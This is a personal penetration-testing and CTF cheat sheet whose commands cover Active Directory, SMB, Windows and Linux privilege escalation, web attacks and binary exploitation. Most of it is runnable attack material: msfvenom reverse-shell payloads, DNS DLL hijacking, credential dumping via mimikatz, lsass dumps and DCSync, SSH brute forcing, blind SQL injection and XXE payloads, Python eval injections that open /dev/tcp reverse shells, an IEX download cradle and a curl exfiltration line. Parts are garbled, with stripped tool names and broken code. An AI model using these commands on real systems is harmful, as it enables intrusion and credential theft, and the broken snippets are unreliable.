Pentest/CTF Take-aways(search refs to change all broken refs)


Active Directory

Port 88 (kerberos), 389 (ldap), 636 (ldap), 3268 (ldap)

  • SYSVOL content found

    • If SYSVOL content found. And if GPP (Group Policy Preferences) is applied, there will be a Groups.xml file that contains credentials in Policies directory somewhere. Find it use:

      find . -iname "groups.xml"
  • GPP Password Hash found

    • Use gpp-decrypt tools to decrypt the password hash. GPP use AES, and Microsoft has docs about the AES private key it uses to encrypt the password 😎

      gpp-decrypt [hash]
    • Try use from impacket to try to get a shell on the target system. Not 100% reliable. [domain]/[user]:[password]@[IP]
    • Try to extract service account passwords. Resources for kerberoasting [domain]/[username]:[password] -dc-ip [IP] -request
  • Service Ticket Hash found

    • Use JohnTheRiper to crack the hash. First save the hash to a file, like hash.txt.

      john hash.txt --wordlist=/path/to/rockyou.txt
  • Administrator Account Password found

    • Use to own the target. [domain]/[user]:[password]@[IP]
  • LDAP port found open
    Use ldapsearch to get detailed info on the domain.

    ldapsearch -h [dc-ip] -p 389 -x -b "dc=[domain],dc=local"
  • Recycle Bin Feature (Since windows server 2008 R2)

    • Can restore deleted information

    • Get all available features in a AD forest.

      Get-ADOptionalFeature -Filter *
    • Enumerate all deleted objects

      Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" –IncludeDeletedObjects
      # with more filters return objects which can be restored
      $changeDate = New-Object DateTime(2008, 11, 18, 1, 40, 02) \
      Get-ADObject -Filter 'whenChanged -gt $changeDate -and isDeleted -eq \
      $true -and -not (isRecycled -eq $true) -and name -ne "Deleted Objects"' -IncludeDeletedObjects
    • Restore deleted objects for user

      Get-ADObject -Filter {DisplayName -like '[username]'} -IncludeDeletedObjects | Restore-ADObject
    • Resource for Get-ADObject


    • Get user's TGT by [domain]/[user] -request -no-pass -dc-ip [IP]
  • LDAP filter

    • Inactive accounts

      # if domain is mylab.local, short domain is mylab, root extension is local
      # 1.2.840.113556.1.4.803:=2 is the LDAP filter for inactive accounts
      Get-ADObject -LDAPFilter \
      "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=2))" \
      -SearchBase 'OU=[OU],DC=[short domain],DC=[root extension]'
    • LDAP filter docs

    • Leaning AD and LDAP Filters in Powershell

  • SMB Server Message signing enabled and required

    • Means no NTLM hash relay attach.
  • LLMNR - Port 5355

    • The IP address a host is requesting using LLMNR is according to RFC.
    • -I []interface] -rdwv
  • BloodHound

    • Details for each Node in BH

    • ASREP Roastable

      • Refer to tool Rebeus

        # Get user TGT hash [FQDN]/[user] -request -no-pass -dc-ip [IP]
        # decrypt using john
        john hash.txt --format=krb5asrep --wordlist=[/path/to/wordlist]
    • DCSync Requirements: User has GetChangesAll permission, got user password

      # get NTDS.dit content -dc-ip [IP] [FQDN]/[user]:[jpassword]@[IP]
      # then use to login to target as admin -hashes [LMHASH]:[NTHASH] [user]@[IP]
  • (have to add condition here ***)


Port 139, 445

  • smbclient -L \\[IP]\

  • enum4linux -S [IP]

  • crackmapexec [protocol[smb]] [IP] -u [user] -p [password]

  • Try connect to each share if found any.

  • To download all the things in a folder (smbclient), use:

    prompt off
    recurse on
    mget *
  • If SYSVOL content is found. Check Ports -> Active Directory -> SYSVOL.

    # if you have the sysvol content, search for groups.xml, which contains credential
    find . -iname "groups.xml"


  • rpcclient

    • Get all the user rid from enumdomusers command. Save the original output first as raw.txt.

      cat raw.txt | while read line; do echo $line | cut -d' ' -f2 | cut -d':' -f2 | cut -d'[' -f2 | cut -d']' -f1;done > user-rid.txt
    • Get all user info with user rid.

      cat user-rid.txt | while read line; do rpcclient -U "" --no-pass -c="queryuser $line";sleep 1;done > userinfo.txt

Windows Remote Management

  • Evil-Winrm

    • Use ls -[force|hidden] when listing

      evil-winrm -i [IP] -u [user] -p [password]
    • If you have Administrator privilege, you can dump all the LSA secrets in the target. Then get the hash and with impacket

      # given c:\temp exist and writable
      reg save hklm\sam c:\temp\
      reg save hklm\system c:\temp\
      reg save hklm\security c:\temp\



  • DNS Admin PrivEsc Article

  • DNS dll Hijacking. Requirements: DNSAdmin account, dns.exe running on target.

    # create payload
    msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST= \
    LPORT=9905 -a x64 \
    --platform windows -f dll -o dnsfun.dll
    # host the payload with [evilshare name] [path/to/share]
    # use dnscmd to inject the dll
    dnscmd.exe [FQDN of DC] /config /serverlevelplugindll \\[UNC_path]
    # restart dns
    sc.exe \\[hostname] stop dns
    sc.exe \\[hostname] start dns
  • nslookup

    server [IP] # or domain name
  • Domain Transfer

    # show subdomains
    dig axfr @[IP] [domain]

User Shell/cmd

  • whoami /groups

  • whoami /priv

  • Common writable directories

    • C:\Windows\System32\spool\drivers\color

    • C:\xampp\htdocs

    • C:\wamp\www

    • C:\Inetpub\wwwroot

Rotten Potato

  • Requirements: Foothold of the target, the service account has SeImpersonatePrivilege. Details here.

Privileged Shell/cmd

  • Registry Keys

    • LSA Secrets. Requirements: SYSTEM account


      The password hash for the account are stored here. The key to decrypt the password hash is stored in the parent key: Policy.


      Reg utils can be used to dump all the files. Administrator privilege required.

       # given c:\temp exist and writable
       reg save hklm\sam c:\temp\
      reg save hklm\security c:\temp\
      reg save hklm\system c:\temp\

      Then you can read and decrypt the files using impacket
      You can also use metasploit lsa_secrets module to decrypt LSA secrets.

Meterpreter Shell

  • Execute nc.exe to get reverse shell

    execute -f nc.exe -a "-e cmd.exe [IP] [port]"
  • Pivoting

    • Run add autoroute -s [CIDR] to pivot to internal network

      meterpreter> run autoroute -s
  • local_exploit_suggester

    # once shell is received, use suggester to explore privilege escalation path
    use post/multi/recon/local_exploit_suggester
  • LSASS Process

    • "The Local Security Authority Subsystem Service (LSASS) handles the enforcement of security policy in a Windows host. In Windows environments from 2000 to Server 2008 the memory of the LSASS process was storing passwords in clear-text to support WDigest and SSP authentication. Therefore tools such as Mimikatz could retrieve the password easily." Requirements: Administrator account, Windows environments from 2000 to Server 2008

      procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
      • "Microsoft from Windows 8.1 and Windows Server 2012 to enhance security of the systems further prevented LSASS from storing passwords in clear-text." Yet, one can modify registry key to instruct LSASS process to store clear-text passwords in memory in the next login. Requirements: needs testing, but it should be Administrator account.

      • Metasploit module wdigest_caching can do the same thing above. Requirements: needs testing, but it should be Administrator account.

      • mimikatz can do the same thing to dump logon password. Requirements: needs testing, but it should be Administrator account.

        mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit
      • Another mimikatz trick. Requirements: needs testing, but it should be Administrator account, no IDS on the target or the binary is modified to evade detection.

        sekurlsa::logonPasswords full
      • Meterpreter kiwi module. Requirements: meterpreter shell, Administrator account.

        meterpreter> load kiwi
        meterpreter> creds_wdigest
      • Windows credential editor (wce) can also retrieve wdigest passwords in clear-text from older Windows environments. Requirements: Windows XP to Windows 8, Administrator account.

      • mimikatz powershell module. Requirements: Foothold of the target, Administrator account, no IDS.

        Import-Module .\Invoke-Mimikatz.ps1
      • Windows Credential Manager. "Windows is using Credential Manager to digitally store various other credentials in an encrypted format by using the Windows Data Protection API. Credentials that have been used by the user to access an internal system over the web or a network resource can be retrieved."

        laZagne_x64.exe all
      • Nishang Get-WebCredentials script. Requirements: Foothold of the target, Administrator account.

      • Windows group policy preferences. Requirements: Foothold of the target, have access to SYSVOL share.

      • Metasploit gpp module. Requirements: Foothold of the target, have access to SYSVOL share.


winPeas Results

  • Privilege AlwaysInstallElevated set

    Use msfvenom to generete msi format payload and execute it on the target. Requirements: Got writable folder, IDS or IPS not active or not present.

    # Code from
    # Generate payload to add user to admin group
    msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi
    # OR
    # Create a reverse shell
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi
    # Run it on the target machine:
    msiexec /quiet /qn /i setup.msi 
    msiexec /quiet /qn /i reverse.msi

CMD Commands



Port 22

  • ssh to the port, especially some custom sshd service may be revealing confidential information.

  • Brute forcing SSH. Requirements: Username or a list of usernames, password or a list of passwords.

    • hydra

      hydra -L [username.lst] -P [passwd.lst] ssh://[IP] -t 4

sudo -l

  • Script running system commands

    # create custom system command
    # export current dir in PATH, absolute path preferred
    # chmod +x custom system command
    # execute
    # example commands
    cd /tmp
    cat << EOF > my_prog
    > #!/bin/bash  # this line is optional
    > cp /bin/bash /tmp/c
    > chmod u+s /tmp/c
    > EOF
    chmod +x my_prog
    # pwd results in absolute path, which is prefferrd, relative path may not work
    export PATH=$(pwd):$PATH 
    sudo /path/to/script/that/calls/my_prog


  • Version 2.6 velnerable to Dirty Cow. Requirements: Foothold of the target, Kernel version 2.6 < 3.9.

    # use the code from searchsploit
    searchsploit kernel 2.6

    Refere to Exploit-DB for detail

User Shell

  • Common writable directories

    • /dev/shm

    • /tmp

  • Find SUID files for privilege escalation

    find / -perm -4000 -type f 2>/dev/null
  • Find files with capabilities for privilege escalation, then search GTFOBINS for detail.

    getcap -r / 2>/dev/null

Privileged Shell


  • Pay attention to any subdomains or hosts you found. No matter if it's in the result of nmap, or by any other means, put it into /etc/hosts and see what happens.

Privilege Escalation

  • PAM Motd - Requirements: PAM 1.1.0.
    Use searchsploit motd to find payload.

    # check pam info
    dpkg -l | grep -i pam
  • Dirty Cow (CVE-2016-5195) - Requirements: Linux kernel version from 2.6.22 to 4.8.0, date from 2007 to 2016.

    # check the version and date of the kernel
    uname -a



  • Check web page source code.

  • Check web technology, search for exploits if specific version numbers are exposed

    * Wappalyzer
    * [BuiltWith](
    * Retire.js extension
  • Check robots.txt.

  • Check hidden resource, search for certain extensions like php, txt, old, bak, xxx. Browse each directory patiently.

    • gobuster

      gobuster dir -u [IP] -x php -w /path/to/wordlist -v
    • dirbuster

      dirbust -u [IP] -e php -l /path/to/wordlist -v
    • wfuzz

      # put FUZZ at the place that you want to brute force
      wfuzz -c -v --hc 404 -w [/path/to/wordlist.txt] http[s]://[IP]:[port]/path/to/FUZZ/index.php
    • dirsearch

      dirsearch -u http[s]://[IP]:[port]/ -ephp -t100 -w [/path/to/wordlist.txt] 
    • dirb

      dirb [url] /path/to/wordlist
    • BurpSuite

    • ZAP

  • Check virtual host routing, change the Host header in request (to domain name) to see if the web application take you to different locations.


  • Vulnerability to specific version

  • PHP Type Juggling. You guys can test it on this fantastic site. The feature exists from php 5.3 to php 7.x.

  • LFI

    • /proc/self/environ. Reqirements: LFI found, and /proc/self/environ is accessible.

      # inject malicious into User-Agent like the following when making request to /proc/self/environ
       <?system('wget -O shell.php');?>
    • PHP Base64 Filter.



  • Default credential. Note that you'll be blocked after certain times of failure logins.

    # tomcat:s3cret; use exploit/multi/http/tomcat_mgr_upload to get meterpreter
    use exploit/multi/http/tomcat_mgr_upload
    set payload java/meterpreter/reverse_tcp
    set rhosts
    set lhost
    set lport
  • Upload reverse shell. Requirements: Foothold of tomcat console, can upload file, can activate war file.

    # use msfvenom to generate a reverse shell payload, upload and activate it, then make a
    # request to the file to gain a reverse shell
    msfvenom -p java/jsp_shell_reverse_tcp lhost= lport=8899 -f war -o mgrjsp.war



  • Paiza SQL Online Emulator

  • Sqlite SQL Online Emulator

  • SQLite System Schema

    Database Schema lies in table SQLITE_MASER.

  • MySQL System Schema

  • Sqlmap

    • Basic usage:

      sqlmap -u http[s]://[url]?[parameter] -p [parameter] --technique=U --os-shell
    • Post Using --data

      sqlmap -u http[s]://[url] --data='[param1]=[value1]&[param2]=[value2]' -p [param1]
    • Post Using Request File

      Save the request to a file. Then:

      sqlmap -r request-file.txt -p [param] --level 5 --risk 3
  • Construct In-Memory Data

    • SQLite:

      SELECT * from 
      (SELECT 15 as 'id', 
          '' as 'username', 
          'acc0unt4nt@juice-sh.op' as 'email', 
          '12345' as 'password', 
          '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
          null as 'deletedAt');
      • MySQL
      SELECT * from 
      (SELECT 15 as 'id', 
          '' as 'username', 
          'acc0unt4nt@juice-sh.op' as 'email', 
          '12345' as 'password', 
          '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
          null as 'deletedAt') AS t;
      • PostgreSQL
        SELECT * from 
        (SELECT 15 as 'id', 
        '' as 'username', 
        'acc0unt4nt@juice-sh.op' as 'email', 
        '12345' as 'password', 
        '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
        null::Date as 'deletedAt') AS t;
  • Blind SQL Injection (Click to see reference.)

    • Content Based

      xyz' UNION SELECT CASE WHEN (user_id= '1' and SUBSTRING(user_password, 1, 1)  == CHAR(50)) THEN NULL ELSE 1/0 END FROM users-- 
    • Time Based

      xyz’ UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;


  • Requirements: Got username and password. [user]@[IP] -windows-auth
    # check role member with IS_SRVROLEMEMBER function return 1 for yes
    sql > SELECT IS_SRVROLEMEMBER('sysadmin');  
  • xp_cmdshell Requirements: Foothold of the database, xp_cmdshell enabled. Use SP_CONFIGURE to config the database if got permission. Docs here.

    # one possible way is to get reverse shell is by using powershell
    powershell IEX (New-Object Net.WebClient).DownloadString('[ip]/[revershell]')
    # other command examples
    xp_cmdshell whoami /all
    xp_cmdshell powershell Invoke-RestMethod -Uri -OutFile C:\Windows\System32\spool\drivers\color\rv.ps1
  • Enumerate the server

    # msfconsole
    use scanner/mssql/mssql_enum
  • Compromise the server. Requirements: Got username and password.

    # msfconsole
    use exploit/windows/mssql/mssql_payload


  • Web server processes XML input. If the XML parser is weakly configured, XXE attacks can happen. Refer to OWASP for detail.

  • PHP Base64 Filter. Requirements: XXE vulnerable.

    # use php filter to exfiltrate data from target
    # in an XXE senario, the payload would look like this
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>

    Click for reference.

RCE (Remote Code Execution)

  • Determine Remote Code Execution

    • Time based method.

      # pass in command like sleep 5 to see if the server response time changes
      GET /example.php?cmd=sleep+5 HTTP/1.1
    • Network connection method.

      # fire up tcpdump or  use wireshark to monitor network traffic on specifi interface from the target.
      GET /example.php?cmd=ping+ip+-c+5 HTTP/1.1
  • Image Upload. Requirements: Server accepts image, the image is accessible.

    # Use exiftool or other steg tools to hide cmd shell in the image file
    exiftool -DocumentName=[shell code] image.png
  • Retrive information from target

    # open up nc to listen to some port on the attacker's machine
    nc -lvnp 53
    # curl the attacker's machine from the victim's machine, and put data in the request base 64 encoded
    curl http[s]://[IP]:[port]/`id|base64`
    # then decode the base 64 received


  • Virtual Host

    ffuf -w /path/to/wordlist/ -u -H 'Host:' -fs [content-length-to-filter]


  • If requesting using a proxy, the X-Forwarded-For header identifies the originating IP address of a client connecting to the web server.

    x-forwarded-for: [proxy IP]

Open Source Software

  • Check the source code, try to find files that may contain version numbers to help better fingerprinting the target.



  • wpscan --url [IP] --log


  • 302 Redirects

    If you found some interesting web page, but got redirected to somewhere else, you can try to intercept the request, and on the first redirect response, change the HTTP code from 302 Found to 200 OK, you may get what you want. Click here for reference.



  • Check your bytecode for bad chars using the following snippet.

    char code[] = "bytecode goes here!";
    int main(int argc, char **argv)
      int (*func)();
      func = (int (*)()) code;
  • Simple printf of user input exposes the memory.

    • Use %x to print out system memory, and convert the bytes to readable content.
  • When pipelinging opcode to program, use echo -e or printf.

  • Buffer Overflow

    • Buffer Overflow Types (Click to see reference.)

      • Stack Overflow

      • Heap Overflow

      • Integer Overflow

      • Unicode Overflow

    • Determine Overflow Point

      # use pattern_create.rb to generate unique string
      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l [len]
      # use pattern_offset.rb to determine overflow point
      /usr/share/f-framework/tools/exploit/pattern_offset.rb -q [overflow-string-hex]
  • ASLR

    • Check if ASLR is on

      # if the address of libc is constantly changing, then ASLR is on
      ldd [binary] | grep libc
    • Disable ASLR on Linux machine.

      sudo su
      echo 0 > /proc/sys/kernel/randomize_va_space
    • ASLR Brute Force (Return to libc)

      • Determine overflow point.

      • Get libc address.

        ldd [binary] | grep libc
      • Get system call offset.

        readelf -s /lib/i386-linux-gnu/ | grep system
      • Get exit call offset.

        readelf -s /lib/i386-linux-gnu/ | grep exit
      • Get /bin/sh string offset.

        # -a for all, -t for radix, x for hex
        strings -a -t x /lib/i386-linux-gnu/ | grep /bin/sh
      • Assemble libc address together with system, exit, and /bin/sh address offsets and add all of them to payload

      • Run the code at least 512 times.

      • Sample code from ippsec:

        from subprocess import call
        improt struct
        libc_base_addr = ...
        system_offset = ...
        exit_offset = ...
        shell_offset = ...
        system_addr = struct.pack("<I", libc_base_addr + system_offset)
        exit_addr = struct.pack("<I", libc_base_addr + exit_offset)
        shell_addr = struct.pack("<I", libc_base_addr + shell_offset)
        payload = 'A' * 1337 # change this length
        paylaod += system_addr
        paylaod += exit_addr
        paylaod += shell_addr
        i = 0
        while (i < 512):
            i += 1
            ret = call(['/path/to/binary', payload])
  • Python

    • eval

      Vulnerable code:

      def addition(a, b):
          return eval("%s + %s" % (a, b))
      result = addition(request.json['a'], request.json['b'])
      print("The result is %d." % result)


      {"a":"__import__('os').system('bash -i >& /dev/tcp/ 0>&1')#", "b":"2"}
    • exec

      Vulnerable code:

      def addition(a, b):
          return exec("%s + %s" % (a, b))
      addition(request.json['a'], request.json['b'])


      {"a":"__import__('os').system('bash -i >& /dev/tcp/ 0>&1')#", "b":"2"}
    • input requirements: python version 2

      Vulnerable code:

      user_pass = get_user_pass("admin")
      if user_pass == input(“Please enter your password”):
        print "Password is incorrect!"


      # or
    • str.format()

      Vulnerable code:

      CONFIG = {
       "API_KEY": "771df488714111d39138eb60df756e6b" 
       // some program secrets that users should not be able to read
      class Person(object):
       def __init__(self, name): = name
      def print_nametag(format_string, person):
       return format_string.format(person=person)
      new_person = Person(“Vickie”)
      print_nametag(input("Please format your nametag!"), person)

      Expected behavior:

      print_nametag("Hi, my name is {}. I am a {person.__class__.__name__}.", new_person)
      # output
      “Hi, my name is Vickie. I am a Person.”


      print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

      Click for reference.
      [Click for another reference.](,code%2C%20it%20is%20simply%20executed.)

*nix Binary Execution Misconfiguration

  • Check gtfobins for advice

  • LXC LXD and Exploitations

  • Custom binary that calls system commands. Requirements: User can execute the binary, suid set.

    • Create a file with the same name as the system commands, then put current directory into PATH, execute the binary.



  • BurpSuite Https Redirecting

    • If some scripts use https and it fails with [SSL: UNSUPPORTED_PROTOCOL] error. You can use BurpSuite to redirect local traffic to targets force-using TLS. Add a new Proxy Listener, bind to whatever port. In the Request handling tab, put in redirect IP and port, and tick Force use of TLS. Click to see reference.
  • Pipelining Multiple Command Results

    • Like if you want to sort the contents of 3 differenct files, you can do this:

      (cat file1; cat file2; cat file3) | sort

      For more, visit here.

  • Escape Restricted Shell

    • less

  • find command detailed output with formatted printf

    # %f file %p path %u owner %g group %m permission
    find /home -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t

    Github link windows/meterpreter/reverse_tcp [IP] [port]
    # it will generate two files
    # unicorn.rc is the command for metasploit
    # powershell_attack.txt is the payload to execute on target
    msfconsole -r unicorn.rc
    # download txt file to the target, and execute it


  • ES File Explorer User Data Leakage

  • APK Manipulation

    • Disassemble APK

      apktool d example.apk
    • Build APK

      # the final apk will be located in the dist folder
      apktool b example.apk
    • Generate Signing Key

      keytool -genkey -v -keystore path/example.keystore -alias [example] -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity [9000] 
    • Signing the APK

      jarsinger -sigalg SHA1withRSA -digestalg SHA1 -keystore path/example.keystore path/to/apk [apkname]
  • Get APP Package Name

    • aapt
      aapt dump badging [example.apk] | grep package

Knowlege Base